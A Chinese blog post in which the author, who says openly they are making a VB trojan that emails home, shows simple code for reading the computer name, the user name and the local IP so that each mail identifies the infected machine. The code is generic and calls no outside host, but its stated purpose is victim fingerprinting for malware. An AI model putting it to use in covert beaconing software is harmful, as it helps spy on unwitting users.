由于本人正在用 VB 制作一个自动发邮件的木马(我很直白吧),虽然木马不是重点, 发邮件也只是附带功能,但确实用到.然后想要知道区分是哪里发来的,就想到顺便加入计算机名及用户名在邮件中.

当然,代码越简单越好,也就干脆 顺便也把IP 带上吧.

加计算机名 和用户名

计算机:

text1.text=VBA.Environ("computername")

用户名:

text2.text= VBA.Environ("username")

既邮件内容

Email.Textbody = Now() & "  来源:  " & VBA.Environ("computername") & "(" & VBA.Environ("username") & ")" 

再在后面再加入IP,

Private Sub Form_Load()Set winIP = CreateObject("MSWinsock.Winsock") '取本机ip   strLocalIP = winIP.localip               '取本机ip   End Sub

然后

text3.text =strLocalIP   '本机IP

但后来发现这个换机子就不行了, 才想起这个是要控件.做小马怎么可能带着沉重的家当.换一种方法.

Sub MyIP()           '取本机IPDim strComputer As StringDim objWMI      As ObjectDim colIP       As ObjectDim IP          As ObjectDim i           As IntegerstrComputer = "."Set objWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2")Set colIP = objWMI.ExecQuery _("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")For Each IP In colIPIf Not IsNull(IP.IPAddress) ThenIf InStr(IP.IPAddress(i), "192.") > 0 ThenText1 = IP.IPAddress(i)End IfEnd IfNext
End Sub  '取本机IP

已测试后一种方法一样成功.

并且代码一样简单

两种最简单方法取本机IP地址相关推荐

  1. 取本机IP地址和网卡号

    取本机IP地址和网卡号 界面如下,主要是使用Winsock的一些东东取机器名和IP地址,取网卡就麻烦些,需要发送Netbios命令,需要注意的是需要包含winsock2.h和nb30.h,并且要引入两 ...

  2. vue项目实现回到顶部的两种超简单方法

    vue 中实现回到顶部的两种方式: (1)锚点方式 通过点击锚点回到指定位置: <template><div id="topAnchor" ref="f ...

  3. PNP与NPN两种三极管使用方法

    三极管的使用一直是我们在设计电路的时候经常会用到的.今天小编来为大家总结下关于NPN和PNP两种型号三极管的使用和连接方法,这里所说的是分别用于开关状态的电路. 首先来说一下NPN型,这种型号的三极管 ...

  4. linux编程获取本机IP地址的三种方法

    这是一项不太清晰而且没有多大意义的工作.一个原因是网络地址的设置非常灵活而且都是允许用户进行个性化设置的,比如一台计算机上可以有多块物理网卡或者虚拟网卡,一个网卡上可以绑定多个IP地址,用户可以为网卡 ...

  5. 史上最容易理解————GET和POST两种基本请求方法的区别

    GET和POST两种基本请求方法的区别 GET和POST是HTTP请求的两种基本方法,要说它们的区别,接触过WEB开发的人都能说出一二. 最直观的区别就是GET把参数包含在URL中,POST通过req ...

  6. 【转载】面向对象建模与数据库建模两种分析设计方法的比较

    [转载]面向对象建模与数据库建模两种分析设计方法的比较 板桥里人 http://www.jdon.com 2007/9/23(转载请保留) 我们知道:一个软件从无到有需要经过如下几个阶段:分析.设计. ...

  7. js两种拼接字符串方法

    js两种拼接字符串方法 function(msgArr) {//参数为一个数组,每一个对象为图片id和图片地址var len = msgArr.length;//第一种拼接方式,直接用"+& ...

  8. R中两种常用并行方法——2. snowfall

    上一篇博客(R中两种常用并行方法--1. parallel)中已经介绍了R中常见的一种并行包:parallel,其有着简单便捷等优势,其实缺点也是非常明显,就是很不稳定.很多时候我们将大量的计算任务挂 ...

  9. PDF怎么编辑修改内容?分享两种编辑修改方法

    PDF文件怎么编辑修改内容呢?PDF格式的文件是大家在工作中经常会使用到的,可以用来发送文件.阅读文件或者是保存文件.相信大家在阅读使用的时候,肯定有过需要编辑修改文件内容的需求,因为当我们发现文件中 ...

最新文章

  1. Windows10 使用docker toolbox安装docker
  2. java map byte[],java中byte数组不能作为map的key使用
  3. 430f149有几种封装类型_高速光调制器的发展与封装技术研究
  4. 对于自绝对父相的理解
  5. 扩展编写jquery插件的方法
  6. 云小课 | 大数据融合分析:GaussDW(DWS)轻松导入MRS-Hive数据源
  7. 134. PHP 工具
  8. Tuxedo中间件常用命令
  9. 瑞芯微读取寄存器_瑞芯微Android软件中添加ALC5640 音频CODEC 的寄存器修改
  10. 面向佩戴口罩的人脸识别系统
  11. 七代处理器装win7_Intel7代处理器 win10重装win7后无法安装显卡声卡驱动的解决方案 | A小可私人狗窝...
  12. 艺龙深耕酒店VS携程 布局旅游全产业
  13. unity下载并和vs2019关联的步骤
  14. 小公司真的能培养出来自己的人吗?员工真的成长过快是好事吗?
  15. 海大叔侃币:作为一个炒币者,分享三点经验
  16. GoLang结构体解析多维复杂json 坑了2天,毕竟还是我太弱了
  17. 机器学习(Machine Learning)基础
  18. MySQL中的max_connections和max_user_connections 及 MySQL服务器最大连接数的合理设置
  19. 国内主流foundry工艺
  20. mac系统使用wireshark抓取无线网卡数据包以及常用过滤条件

热门文章

  1. 2023-02-20干活小计:
  2. 如何去掉input默认样式
  3. Android自动手绘,Android实现手绘功能
  4. 关于建我们班级同学录问题的通知
  5. C语言实现扫雷【经典】
  6. kill-9 和 kill 的区别
  7. flex3 flash小游戏网站
  8. 利用Shodan和Censys进行信息侦查
  9. 华为系统EMUI更新但不是鸿蒙,华为EMUI不会更新了!直接升级鸿蒙系统,荣耀手机也不会放弃...
  10. 京东,淘宝,苏宁,亚马逊爬虫抓取商品信息并分析数据(完整文件链接在文章最后)